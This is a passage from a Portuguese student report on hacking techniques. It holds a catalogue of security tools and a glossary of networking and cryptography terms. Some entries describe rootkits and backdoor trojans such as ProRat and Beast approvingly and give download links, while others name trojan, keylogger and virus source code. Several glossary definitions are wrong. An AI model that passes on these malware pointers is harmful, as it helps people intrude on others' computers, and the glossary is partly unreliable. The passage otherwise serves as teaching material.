1133..1111 @stake LC 5

1133..1122 LC 5 is the latest version of L0phtCrack, the award-winning password

auditing and recovery application used by thousands of companies worldwide.

14 Proxy:

1144..11 TCP Tunnel: http://www.dr-a.net/projects

is a *proxifier* for Windows. It is a very useful tool when used in closed networks

(i.e. a university), where the only way to connect to the Internet is by using a

proxy. TCP Tunnel redirect connections from the client applications to a specified

proxy server, adding the proxy support option to simple client applications (i.e.

telnet).

1144..22 WinGate: http://www.wingate.com

Internet Gateway and Communications Server.

WinGate allows you to:

Provide secure and managed Internet access for your entire network via a single

or multiple shared internet connections

Enforce advanced and flexible access-control and acceptable use policies

Monitor usage in real time, and maintain per-user and per-service audit logs.

Stop viruses, spam and inappropriate content from entering your network

Provide comprehensive internet and intranet email services.

Protect your servers from internal or external threats.

Improve network performance and responsiveness with web and DNS caching

Ease administration burdens on your internal networks.

1144..33 Tor: http://tor.eff.org/overview.html.en

Page 222: relatorio de projecto-Documentação teórica das técnicas de hacking

222

Tor is a network of virtual tunnels that allows people and groups to improve their

privacy and security on the Internet. It also enables software developers to create

new communication tools with built-in privacy features. Tor provides the

foundation for a range of applications that allow organizations and individuals to

share information over public networks without compromising their privacy.

15 Rainbow Tables:

1155..11 Winrtgen: http://www.oxid.it

is a graphical Rainbow Tables Generator that supports LM, FastLM,NTLM,

MD2, MD4, MD5, SHA1, RIPEMD160, MySQL323, MySQLSHA1,

CiscoPIX,SHA-2 (256), SHA-2 (384) and SHA-2 (512) hashes.

1155..22 RainbowCrack: http://www.antsight.com/zsl/rainbowcrack/

is a general propose implementation of Philippe Oechslin's faster time-memory

trade-off technique. In short, the RainbowCrack tool is a hash cracker. A

traditional brute force cracker try all possible plaintexts one by one in cracking

time. It is time consuming to break complex password in this way. The idea of

time-memory trade-off is to do all cracking time computation in advance and

store the result in files so called "rainbow table". It does take a long time to

precompute the tables. But once the one time precomputation is finished, a time-

memory trade-off cracker can be hundreds of times faster than a brute force

cracker, with the help of precomputed tables.

16 reverse engineering e programas de manipulação de programas:

1166..11 w32dasm 8.93 - Program for reverse engeneering

1166..22 Resource Hacker: FREEWARE utility to view, modify,add and delete

resources in Win32 executables.

Incorporates an internal resource compiler and decompiler. Works on both Win9x

and WinNT.

1166..33 Memspy: Software that shows you what a program is putting in RAM at the

current moment.

1166..44 Hex Workshop: http://www.bpsoft.com/downloads/

is a set of hexadecimal development tools for Microsoft Windows, combining

advanced binary editing with the ease and flexibility of a word processor. With

Hex Workshop you can edit, cut, copy, paste, insert, and delete hex, print

customizable hex dumps, and export to RTF or HTML for publishing.

Additionally, you can find, replace, compare, add smart bookmarks, and generate

Page 223: relatorio de projecto-Documentação teórica das técnicas de hacking

223

character distributions within a sector or file. Hex Workshop supports drag-and-

drop and is integrated with the Windows operating system so you can quickly and

easily hex edit from your most frequently used workspaces. The Data Inspector is

perfect for interpreting, viewing, and editing decimal and binary values. An

Integrated Structure Viewer allows you to view and edit data in the most intuitive

and convenient way.

Version 4.23 features some improvements and bug fixes.

1166..55 Hackman Suite: http://www.technologismiki.com/en/index-h.html

Hackman Hex Editor 9.0:

is a powerful multi-module hex editor. It comes with cryptography capabilities,

decoding with ready and self-made algorithms and a fully-featured editor. You

can edit virtually any file, disk, ZIP drive, Ram Drive, Smart Media, Compact

Flash I & II, IBM Microdrive or Physical RAM with the ease of a word processor.

Hackman Disassembler 9.0:

is an ultra fast (250 kb/sec @ PIII/900 MHz) multi-processor disassembler. It has

embedded 8, 16 and 32 bits architectures, so apart from Intel x86 and AMD

processors, it also supports numerous Motorola, Hitachi and Zilog processors

among others. It comes with detailed instruction reference modules for many

processors, a flexible print engine to create professional reports, features great

customization capabilities and a versatile and handy user interface.

1166..66 OllyDbg: http://www.ollydbg.de/

is a 32-bit assembler level analysing debugger for Microsoft® Windows®.

Emphasis on binary code analysis makes it particularly useful in cases where

source is unavailable.

17 Rootkit:

1177..11 FU Rootkit: http://www.egocrew.de

The FU rootkit can hide processes, elevate process privileges, fake out the

Windows Event Viewer so that forensics is impossible, and even hide device

drivers (NEW!) All this without any hooking.

1177..22 WinRootkit: http://www.egocrew.de - rootkit WinNT/2k/Xp.

18 source code of trojan virus and worms:

1188..11 Simple Trojan

1188..22 Advanced keylogger source code in visual basic

1188..33 Various virus source codes listed from 0-9 and A-Z

Page 224: relatorio de projecto-Documentação teórica das técnicas de hacking

224

19 Telnet client:

1199..11 STerm: http://www.oxid.it

sTerm is a Telnet client with a unique feature. It can establish an entire bi-

directional Telnet session to a target host never sending your real IP and MAC

addresses in any packet. Using "ARP Poisoning", "MAC Spoofing" and "IP

Spoofing" techniques sTerm can effectively bypass ACLs, Firewall rules and IP

restrictions on servers and network devices. The connection will be done

impersonating a Trusted Host.

1199..22 SSH Tectia: http://www.ssh.com

SSH Tectia™ Client and Server form an enterprise-class Secure Shell solution for

securing system administration, file transfer, and application connectivity in

heterogeneous enterprise networks. They provide strong, FIPS 140-2 certified

encryption and flexible authentication to address the critical security

requirements of large organizations.

1199..33 PuTTY: http://www.putty.nl

Here are the PuTTY files themselves:

PuTTY (the Telnet and SSH client itself)

PSCP (an SCP client, i.e. command-line secure file copy)

PSFTP (an SFTP client, i.e. general file transfer sessions much like FTP)

PuTTYtel (a Telnet-only client)

Plink (a command-line interface to the PuTTY back ends)

Pageant (an SSH authentication agent for PuTTY, PSCP and Plink)

PuTTYgen (an RSA and DSA key generation utility).

20 Trojan:

2200..11 NetBus: http://www.tcp-ip-info.de/trojaner_und_viren/

is a "Trojan Horse", which has a similar functionality than "Back Orifice". That

means, it opens a "Backdoor" to a PC, so that everybody can acces your PC from

the network without your notice. NetBus is much more userfriendly than Back

Orifice.

2200..22 SubSeven: http://www.tcp-ip-info.de/trojaner_und_viren/

is a "Trojan Horse" that opens a "Backdoor" to a PC, so that everybody can

acces your PC from the network without your notice.

2200..33 Back Orifice: http://www.bo2k.com/

Page 225: relatorio de projecto-Documentação teórica das técnicas de hacking

225

is a "Trojan Horse" that opens a "Backdoor" to a PC, so that everybody can

acces your PC from the network without your notice.

2200..44 Beast v2.0.7: http://www.library.2ya.com/

One of the best trojans around, advanced options, dont forget to read the

readme.txt's for more information

2200..55 ProRat v1.9 Fix2: http://www.library.2ya.com/

Advanced and updated trojan, always comes with nice working options. Includes

keylogger builder trojan server builder and cgi notify builder

2200..66 MofoTro 1.7 Beta: http://www.library.2ya.com/

Splinter Security Cool_mofo_2s release. Updated at (30/04/06) Some of the

features, remote scripting, remote shell, XP firewall killer, flip screen :P Visit

SSgroup.org

21 Várias:

2211..11 Cisco Pix firewall: http://www.oxid.it

Cisco PIX firewalls, as every other Cisco device, let you insert the password for

the enable mode and telnet access directly in their encrypted form using the

commands:

- enable password **************** encrypted

- password **************** encrypted

where the string **************** is the encrypted form of a known cleartext

password.

This program produces the encrypted form of PIX passwords without the need to

access the device.

Networks and security administrators can use it to write authentication

informations in the firewall's configuration files completely off-line.

2211..22 Netcat: http://www.vulnwatch.org/netcat/

NetCat que é considerado pelos hackers o canivete suíço do TCP/IP, devido a sua

incrível versatilidade, com o NC(NetCat), podemos fazer um scanner de portas,

um trojan, um brute force, entre outras coisas.

2211..33 BiDiBLAH: http://www.sensepost.com/research/bidiblah/

- Security Assessment Power Tools

2211..44 SMAC: http://www.klcconsulting.net/smac/

SMAC is a powerful, yet easy to use MAC Address Changer (Spoofer) for

Windows 2000, XP, and 2003 systems, regardless of whether the manufacturers

Page 226: relatorio de projecto-Documentação teórica das técnicas de hacking

226

allow this option or not. SMAC is developed by Certified Professionals (CISSP,

CISA, MCSE)

2211..55 SeePassword 2.04: www.download-by.net/security-and-privacy/password-

managers/35223,seepassword,dl.html

When a password appears on screen as a series of asterisks or dots, you simply

view it through SeePassword's magnifying glass to reveal the actual password

text. See-Password has no problems with passwords stored by Internet Explorer?

all the sites will yield their secrets. SeePassword provides users with an easily

applied retrieval tool for forgotten passwords.

2211..66 ShoWin: www.foundstone.com

Program to hide, show, enable, disable, and close any window. Also uncovers

passwords under these: *************

2211..77 Omatic: http://www.hot.ee/omatic18/

Cheat 'O Matic is a FREEWARE and AUTOMATIC cheat program for *ANY*

DOS or Windows game. It runs under Windows along side your favorite game and

allows you to EASIALLY (no hex here) modify ANY value in the game - AS THE

GAME RUNS!

2211..88 Keyfinder: http://www.magicaljellybean.com/keyfinder.shtml

is a freeware utility that retrieves your Product Key (cd key) used to install

windows from your registry. It has the options to copy the key to clipboard, save it

to a text file, or print it for safekeeping. It works on Windows 95, 98, ME, NT4,

2000, XP, Server 2003, Windows Vista, Office 97, Office XP, and Office 2003.

This version is a quick bug fix to remedy the broken "Change Windows Key" in

Windows XP.

22 Web site authentication brute force:

2222..11 Crowbar: http://www.sensepost.com/research/crowbar/ - Generic Web Brute

Force Tool

2222..22 ObiWaN: http://www.phenoelit.de/fr/tools.html

is a brute force authentication attack against Webserver with authentication

requests - and in fact to break in insecure accounts.

23 Wireless tools:

2233..11 Aircrack: http://www.aircrack-ng.org/

aircrack is an 802.11 WEP and WPA-PSK keys cracking program that can

recover keys once enough data packets have been captured. It implements the

Page 227: relatorio de projecto-Documentação teórica das técnicas de hacking

227

standard FMS attack along with some optimizations like KoreK attacks, thus

making the attack much faster compared to other WEP cracking tools. In fact

aircrack is a set of tools for auditing wireless networks.

2233..22 AirSnort: http://airsnort.shmoo.com/

AirSnort is a wireless LAN (WLAN) tool which recovers encryption keys. AirSnort

operates by passively monitoring transmissions, computing the encryption key

when enough packets have been gathered.

2233..33 Wepcrack: http://sourceforge.net/projects/wepcrack/

WEPCrack is a tool that cracks 802.11 WEP encryption keys using the latest

discovered weakness of RC4 key scheduling.

2233..44 NetStumbler: http://www.netstumbler.com

For a Swiss Army knife of wireless network diagnostics, “NetStumbler” is saddled

with a somewhat unfortunate name. Although it implies a sort of blind luck,

NetStumbler is actually most useful for pinpointing details of a wireless network,

helping you configure, secure, optimize and discover.

2233..55 Airbase: http://www.802.11mercenary.net/

Airbase is the name I have given a collection of wireless utilites i have created

over the years. Eventually I got tired of re-creating so much code that I made a

library and re-wrote everything to use it.

2233..66 Kismet: http://www.kismetwireless.net/

Kismet is an 802.11b network sniffer and network dissector. It is capable of sniffing

using most wireless cards, automatic network IP block detection via UDP, ARP, and

DHCP packets, Cisco equipment lists via Cisco Discovery Protocol, weak

cryptographic packet logging, and Ethereal and tcpdump compatible packet dump files.

It also includes the ability to plot detected networks and estimated network ranges on

downloaded maps or user supplied image files. Windows support is currently

preliminary, so those users may want to look at Netstumbler if they run into trouble.

Linux (and Linux PDAs like Zaurus) users may wish to also look at the Wellenreiter

wireless scanner.

Page 228: relatorio de projecto-Documentação teórica das técnicas de hacking

228

H. Glossário

802.11: Refere-se a um conjunto de especificações desenvolvidas pelo IEEE para

tecnologias de redes sem fio.

A5: É um sistema de encriptação de dados que codifica os dados transmitidos

no sistema de telemóveis.

Antivírus: Programa ou software desenvolvido para detectar, anular e eliminar de

um computador código malicioso.

ARP: Address Resolution Protocol é um protocolo usado para encontrar um

endereço Ethernet (MAC) a partir de um endereço IP. O emissor envia

uma mensagem de broadcast de um pacote ARP que contem o IP de

quem enviou o pedido e o MAC de quem quer descobrir o endereço IP.

Cada máquina mantém uma tabela de resolução em cache para não ter de

enviar um pacote ARP Request sempre que pretende saber a quem

pertence um IP. O ARP permite que o endereço IP seja independente do

endereço Ethernet, mas apenas funciona se todos os hosts o suportarem.

Ao processo inverso chama-se Reverse ARP.

Base 64: É um método arbitrário de codificação de dados. Este método usa 64

caracteres da tabela ASCII. A encriptação é feita com o uso dos

caracteres A-Z, a-z, 0-9 e os restantes caracteres ‘+’ e ‘/’

Valor Código Valor Código Valor Código Valor Código

0 A 17 R 34 i 51 z

1 B 18 S 35 j 52 0

2 C 19 T 36 k 53 1

3 D 20 U 37 l 54 2

4 E 21 V 38 m 55 3

5 F 22 W 39 n 56 4

6 G 23 X 40 o 57 5

7 H 24 Y 41 p 58 6

8 I 25 Z 42 q 59 7

Page 229: relatorio de projecto-Documentação teórica das técnicas de hacking

229

9 J 26 a 43 r 60 8

10 K 27 b 44 s 61 9

11 L 28 c 45 t 62 +

12 M 29 d 46 u 63 /

13 N 30 e 47 v

14 O 31 f 48 w

15 P 32 g 49 x

16 Q 33 h 50 y

Bit: É um dígito binário que pode ser 0 ou 1.

BSS Segment:

É um segmento de dados que guarda os dados que ainda não foram

inicializados.

Buffer: É um bloco de memória responsável por guarda informação. Por outras

palavras é um dispositivo de armazenamento temporário usado para

compensar a diferença de taxa e fluxo de dados entre dois dispositivos

(como por exemplo um computador e uma impressora).

Byte: Um Byte é a unidade mais pequena endereçável num dispositivo. Em

computadores modernos é composto pelo mesmo numero de bits que um

octeto, ou seja, 8 bits.

CALL: É o que torna possível a utilização de funções num programa. O

objectivo da utilização é o de reencaminhar o processador para este

executar uma parte de código diferente e memorizar para onde tem de

voltar.

Esta instrução guarda na pilha a instrução em que se encontra e a seguir

chama a função para o processador saber para onde tem de voltar e

depois salta para a função que tem de executar.

Page 230: relatorio de projecto-Documentação teórica das técnicas de hacking

230

Datagrama: Um datagrama ou pacote é uma unidade de dados que circula na rede.

Contém informações de um emissor para um receptor. Alem da parte da

informação possui um cabeçalho com o endereço do dispositivo emissor

e do dispositivo receptor, prioridades, …

Data Segment:

È um segmento de dados que contém os dados inicializados de um

segmento de código.

DES: O Data Encryption Standard é um algoritmo de chave secreta

desenvolvida pela IBM. È um algoritmo muito rápido mas muito pouco

seguro. Usa chaves de 56 bits.

Diffie-Hellman:

Sistema que consiste em permitir a troca de chaves entre duas máquinas

remotas através de um meio de comunicação não segura. Desta forma

este método torna possível a troca de chaves privadas por um canal de

comunicação pública.

DNS: Domain name server, converte nomes qualificados do domínio (FQDNs-

fully qualified domain names) no endereço IP correspondente e converte

o endereço IP no nome qualificado do domínio (FQDN’s). Assim, o DNS

é um sistema de base de dados, distribuído na Internet, que permite saber

o endereço de IP de um domínio em concreto.

Double DES: O Double Data Encryption Standard é um método de encriptação de

dados que cifra blocos de 64 bits de dados duas vezes com o algoritmo

DES (algoritmo que cifra um bloco 64 bits de dados.

EAPOL: O EAP over LAN pertence ao protocolo EAP (Extensible Authentication

Protocol). Os pacotes neste formato permitem que a informação

transmitida na rede suporte múltiplos métodos de autenticação.

Page 231: relatorio de projecto-Documentação teórica das técnicas de hacking

231

EBP: É a abreviatura para Extended base pointer, este registo deve manter-se

inalterado enquanto a função não terminar. Serve como um ponto de

referência (por ser estático durante a execução da função) para aceder a

informação colocada na pilha a partir do offset da informação em relação

a este registo. Quase sempre aponta para o topo da pilha da função.

ECC: Elliptic curve cryptography é um algoritmo de encriptação de chave

publica baseado em curvas elípticas.

Echo Request: É uma mensagem ICMP onde é enviado um pacote de dados com o

endereço da máquina destino e vai ficar a espera de receber um Echo

Reply para saber se a maquina realmente existe.

Echo Reply: É uma mensagem ICMP de resposta a uma mensagem Echo Request

recebida da máquina destino.

EIP: É a abreviatura para “Extended instruction pointer”, aponta para o

código que está a ser executado no momento. Quando se efectua uma

chamada a uma função o valor do registo é guardado na pilha para ser

usado mais tarde.

ESP: É a abreviatura para Extended stack pointer, aponta para a posição

actual da pilha. Permite que se adicione e remova elementos da pilha

através de operações de “push” (para acrescentar um elemento à pilha) e

“pop” para retirar um elemento da pilha ou permite ainda que se consiga

manipular directamente a pilha.

Exploit: Um exploit refere-se a um programa, ferramenta (conjunto de

programas), ou técnica que tem por objectivo explorar uma

vulnerabilidade encontrada, uma falha no hardware ou software, para

elevar o nível de privilégio de acesso ao sistema, corromper a integridade

do sistema ou dados, ou levar a que o sistema deixe de estar disponível.

Page 232: relatorio de projecto-Documentação teórica das técnicas de hacking

232

FIN: A conexão TCP passa a ser monitorizada desde que o primeiro pacote é

enviado numa conexão. Assim esta flag é enviada do cliente ao servidor

quando este quiser finalizar uma conexão estabelecida e do servidor ao

cliente para informar de que a conexão foi terminada com sucesso, ou

seja, para terminar uma conexão o cliente envia um pacote com a flag

FIN ao servidor, e este ao receber o respectivo pacote envia outro com a

mesma flag.

Frame: Também denominada de Trama. É o nome que se dá ao PDU (protocol

data unit) na camada de ligação de dados do modelo OSI. Cada frame

contém os dados, o endereço do emissor e do receptor e caracteres que

avisam o início e o fim da frame na transmissão de pacotes.

FTP: O protocolo de transferência de ficheiros (File Transfer Protocol) é um

serviço que usa o protocolo TCP e usa a porta 20 e 21. Este serviço é

usado para transferir ficheiros entre computadores (carregar e

descarregar ficheiros). Era o protocolo mais usado na transferência de

informação na Internet antes do protocolo HTTP. A porta 20 é usada

para transferir os dados entre o cliente e o servidor e a porta 21 e usada

para controlo de comunicação e para a troca de comandos entre o cliente

e o servidor.

HTTP: O protocolo de transmissão de hipertexto (Hypertext Transfer Protocol)

usa a porta 80 e é usado para transmitir dados entre um servidor e um

cliente.

ICMP: Internet Control Message Protocol é um protocolo que é usado para a

manutenção do protocolo IP.

IDEA: International Data Encryption Algorithm é um algoritmo de encriptação

que foi desenvolvido com o objectivo de substituir o DES e tornar as

implementações de software mais eficiente. Usa uma chave de 128 bits.

IMAP: O Internet Message Access Protocol é um protocolo que permite ao

utilizador aceder ao servidor de e-mail. Este protocolo não permite

Page 233: relatorio de projecto-Documentação teórica das técnicas de hacking

233

alterar os e-mails offline como acontece com o POP3 mas traz vantagens

para utilizadores que tem por habito aceder a caixa de e-mails a partir de

vários computadores diferentes.

Internet: A Internet é uma rede que faz a ligação das redes a nível mundial

permitindo a troca de informação entre milhões de computadores.

Permite o acesso a vários serviços a escala mundial como correio

electrónico, transferência de arquivos, chat, acesso remoto a maquinas,

etc.

IP forwarding:

É uma propriedade que permite que um dispositivo faça o

reencaminhamento de pacotes IP.

IPSec: É um conjunto de padrões utilizado para garantir uma comunicação

segura entre dois computadores, mesmo que a informação não esteja a

ser transportada por um meio seguro. Este protocolo é baseado num

modelo ponto-a-ponto.

IRC: O Internet Relay Chat é um protocolo de comunicação de texto simples

que é utilizado para conversação (chat), que permite conversas em

privado ou em grupos e troca de ficheiros.

ISN: O número de sequência inicial (Initial Sequence Number) é um número

definido no início de uma secção durante uma transmissão TCP.

ISP: Um Internet Service Provider é uma empresa prestadora de serviço à

Internet. Estas empresas fazem as ligações dos computadores a um

servidor que está permanentemente ligado a Internet. O servidor do ISP

faz a comutação de informação entre os vários computadores a nível

mundial.

LAN (Rede local):

Page 234: relatorio de projecto-Documentação teórica das técnicas de hacking

234

Uma rede local (Local Area Network) consiste em dois ou mais

computadores ligados entre si com a finalidade de trocar informação.

Estas redes cobrem uma área local de 10Km no máximo.

MAC: O Message Authentication Code é um algoritmo de encriptação que

possui a mesma propriedade que os algoritmos de hash, mas depende de

uma chave para garantir a integridade de uma mensagem. A sua forma de

encriptação é a encriptação simétrica. Não é indicado para garantir a

segurança dos dados.

MD5: O Message-Digest algorithm 5 é um algoritmo de hash unidireccional

que usa 128 bits para a encriptação.

NetBEUI: Este protocolo foi desenvolvido como extensão do NetBIOS. O nome

NetBEUI passou a ser usado quando os recursos da netBIOS foram

estendidos e tornaram-se mais elaborados, formando o protocolo

complexo que é usado actualmente. O NetBEUI foi concebido para ser

usado apenas em redes pequenas, e assim tornou-se um protocolo

simples, com bom desempenho, razoavelmente rápido e não precisa de

nenhuma configuração manual.

Pacote: Um pacote ou datagrama é um conjunto de dados que circulam na rede.

Contém informações de um emissor para um receptor. Alem da parte da

informação possui um cabeçalho com o endereço do dispositivo emissor

e do dispositivo receptor, prioridades, …

Payload: É a parte adicional de um malware que contem uma ou mais funções a

executar.

PDU: No modelo OSI, que se encontra dividido por camadas, consiste na forma

como se designa uma unidade de dados, ou seja, é o nome dado a uma

unidade que se encontra pronta para enviar para a rede e que contem os

dados que se pretende enviar e a informação do protocolo que tem de ser

acrescentada aos dados numa determinada camada.

Page 235: relatorio de projecto-Documentação teórica das técnicas de hacking

235

Phrack: É uma revista electrónica publicada por hackers destinada a toda a

comunidade hacker.

POP3: O Post Office Protocol é um protocolo que permite aceder a uma caixa

de correio electrónico remoto. Este protocolo permite que as mensagens

de um servidor e-mail sejam transferidas sequencialmente para um

dispositivo local onde podem ser lidas, apagadas, etc. Assim, este é um

protocolo considerado offline, uma vez que, depois de as mensagens

serem transferidas para o dispositivo local, estas podem ser manipuladas

mesmo depois de a conexão com o servidor ser desligada (offline).

Quando a conexão voltar a ser estabelecida a caixa de correio do servidor

é actualizado com as alterações efectuadas no dispositivo.

PPP: O protocolo ponto a ponto (point-to-point protocol) é um protocolo que

tem como objectivo transportar todo o tráfego de rede entre duas

máquinas.

RET: É o endereço de retorno (return address), ou seja, quando o programa

encontra uma chamada a outra função ele "salta" para executar a função

e depois retorna para a função de origem de onde foi feita a chamada e o

endereço dessa encontra-se no endereço de retorno.

RFC: É um documento que descreve os padrões de um protocolo para este

poder passar a ser designado como padrão.

RIR: Regional Internet Registry (RIR) é uma organização responsável pela

distribuição de endereços IP para cada região específica do mundo.

No momento os RIR’s são: ARIN (American Registry for Internet

Numbers), para a América do Norte; RIPE NCC (RIPE Network

Coordination Centre), para a Europa e Ásia central; APNIC (Ásia-

Pacific Network Information Centre), para a Ásia e região do Pacifico.

LACNIC (Latin American and Caribbean Internet Address registry)

Page 236: relatorio de projecto-Documentação teórica das técnicas de hacking

236

para a America Latina e região das Caraíbas; AfriNIC (African Network

Information Centre) para o continente da Africa.

RPC: Procedimento remoto (Remote Procedure Call) fornece um mecanismo

de comunicação entre processos. Através dele é possível chamar um

procedimento que se encontre num programa de uma máquina remota,

passando parâmetros e recebendo resultados.

RSA: É um dos algoritmos de encriptação que usa duas chaves com números

primos, uma chave pública, usada para cifrar a mensagem e uma chave

privada, usado para decifrar a mensagem.

Root: É o nome de um tipo de utilizador que pode controlar tudo num sistema

operativo Unix. Este utilizador tem acesso sem restrições a todos os

arquivos, processos do sistema e hardware.

SCSI: É a sigla para Small Computer System Interface e trata-se de uma

tecnologia criada com o objectivo de aumentar a taxa de transferência de

dados entre dispositivos de um computador. È muito utilizado para a

conexão com o disco rígido, scanner, CD-ROM, impressoras ou qualquer

outro tipo de dispositivo que necessite de uma alta transferência de

dados.

Segmento: Nome que se dá a unidade de dados (PDU) na camada de transporte.

Semiocteto: O semiocteto, também conhecido por nibble representa a metade de um

Octeto (4 bits).

SFP: É abreviação de Stack Frame Pointer é o registo que guarda o endereço

da pilha (stack).

SHA-1: É um algoritmo de hash seguro que gere um resultado de 160 bits. É

considerado sucessor do MD5 por ser mais seguro.

Page 237: relatorio de projecto-Documentação teórica das técnicas de hacking

237

Shellcode: É um conjunto de instruções em assembly que tem como função fornecer

uma Shell ao utilizador.

SHELL: É uma interface que é utilizado como meio de interacção entre o

utilizador e o computador. Este programa interage como uma linha de

comando representado por um prompt. O utilizador insere comandos que

serão interpretados e executados pelo dispositivo.

SLIP: O Serial Line Internet Protocol é um protocolo de comunicação ponto-a-

ponto.

SMTP: O Simple Mail Transfer Protocol é uma aplicação e um protocolo

TCP/IP que usa a porta 25, é utilizado para o envio de e-mail. Uma

mensagem enviada pelo protocolo SMTP tem duas partes, o endereço e

uma mensagem de texto. Este é um protocolo de recepção de e-mail, não

permite fazer downloads. Para isso é necessário um cliente de e-mail que

suporte POP3 ou IMAP, como é o caso da maioria dos clientes actuais.

SNMP: O Simple Network Management Protocol é um serviço UDP e usa as

portas 161 e 162. Foi desenvolvido para monitorizar a Internet de forma

eficiente e barata. Apresenta alguns problemas de segurança pelo facto

de a informação ser transmitida em texto.

SSH: Secure Shell é um programa de computador e um protocolo de rede.

Permite a conexão de um computador a outro de forma a executar

comandos nele. Possui as mesmas funcionalidades do Telnet mas a troca

de dados é cifrada.

Spam: É uma mensagem de correio electrónico indesejada.

Stack (pilha): Uma pilha é uma estrutura de dados baseada no principio de: O último a

chegar é o primeiro a sair (Last in first out, LIFO).

Statfull firewall:

Page 238: relatorio de projecto-Documentação teórica das técnicas de hacking

238

É uma firewall inteligente que verifica a quantidade de acessos a uma

determinada porta e, caso este ultrapasse o número máximo de acessos

determinado pelo administrador de rede, a referida porta é fechada

automaticamente. Este conceito de firewall inteligente permite, também

saber a quantidade de mensagens enviadas pelo utilizador e bloquear

arquivos de e-mail com uma determinada extensão.

SYN cookies: É uma opção usada para proteger uma máquina dos ataques Syn flood.

TCP: Este é um dos protocolos mais usados, porque garante a entrega de dados

no destino.

Telnet: È um protocolo de comunicação cliente-servidor, baseado no protocolo

TCP. É usado para permitir a comunicação entre computadores ligados

na rede e também permite obter acesso remoto a um computador. È

bastante usado em chat’s como o IRC. Permite efectuar a ligação a um

computador em modo de texto. Este serviço usa a porta 23. Não é uma

forma de comunicação segura uma vez que a informação é transportada

em formato texto.

Text Segment:

É um segmento da pilha apenas de leitura que contém o código

executável do programa.

TFTP: O Trivial File Transfer Protocol é um protocolo que usa a porta 69 e é

baseado no protocolo UDP para a transmissão de dados. Não requer de

autenticação.

Tiger: É um algoritmo de hash que 64 bits que usa uma chave de 192 bits.

TTL: O Time To Live especifica o número de routers por quais um pacote que

circula na rede pode passar até ser descartado. Os routers são

programados para decrementar uma unidade do TTL aos pacotes que

passam por este. Evita que pacotes perdidos congestionem a rede ao

permanecerem nesta por muito tempo, caso o rooting não esteja a ser

feito devidamente. Quando um pacote é descartado o dispositivo emissor

Page 239: relatorio de projecto-Documentação teórica das técnicas de hacking

239

recebe a notificação do erro e volta a transmitir o pacote.

TOS: Tem como função especificar qual é a prioridade de um determinado

pacote. Existe um campo no cabeçalho dos pacotes que traduz essa

especificação. A prioridade dos pacotes é feita usando o algoritmo FIFO

(first in first out) do kernel. Esta é uma das alternativas para controlo de

tráfego mais rápida e simples.

Trama: Também denominada de Frame. É o nome que se dá ao PDU (protocol

data unit) na camada de ligação de dados do modelo OSI. Cada frame

contém os dados, o endereço do emissor e do receptor e caracteres que

avisam o início e o fim da frame na transmissão de pacotes.

Uuencode: É um algoritmo que codifica dados em código ASCII derivado do Unix-

to-Unix encode. È considerado um protocolo universal usado para

transferir ficheiros entre diferentes plataformas como UNIX e Windows.

UDP: User Datagram Protoco é o protocolo que permite o envio de dados

através da Internet, considerado pouco seguro porque não garante que os

dados sejam entregues no destino, que não se encontrem alterados nem

que cheguem pela ordem pela qual foram enviados. Este protocolo não é

orientado á ligação.

URL: Um URL(Universal Resource Locator) é o endereço de um recurso

(ficheiro, impressora, computador, …) que está ligado á rede (Internet ou

Intranet) e que tem a estrutura:

“protocolo://dispositivo/caminho/recurso”.

XOR: É uma forma de encriptação de dados. Baseia-se num algoritmo que usa

a função lógica “OU exclusivo” (representado na linguagem C pelo

carácter ‘^’ (e)).

WEP: Wired-Equivalent Privacy é um padrão de encriptação para redes

wireless que faz parte do padrão IEEE 802.11. Este padrão encarrega-se

Page 240: relatorio de projecto-Documentação teórica das técnicas de hacking

240

de cifrar a informação que circula na rede. É um método inseguro e deve

ser escolhido um método mais seguro para implementar, como o WPA ou

WPA2.

WPA: Wi-Fi Protected Access tem em vista fornecer segurança numa rede

wireless. Foi criada para corrigir as falhas encontradas no sistema que

era usado anteriormente, que era o WEP (wireless Equivalent Privacy).

Foi desenhado para funcionar com todas as placas wireless.

WPA2: Wi-Fi Protected Access2 também denominado IEEE 802.11i, apareceu

para tentar corrigir as falhas de segurança encontradas no WPA, utiliza

para encriptação, Advanced Encryption Standard (AES) block cipher;

WEP e WPA (RC4 stream cypher) para garantir a confidencialidade dos

dados, a integridade dos dados e a origem. WPA2 implementa a

totalidade da especificação IEEE 802.11i o que faz com que não seja

compatível com placas mais antigas.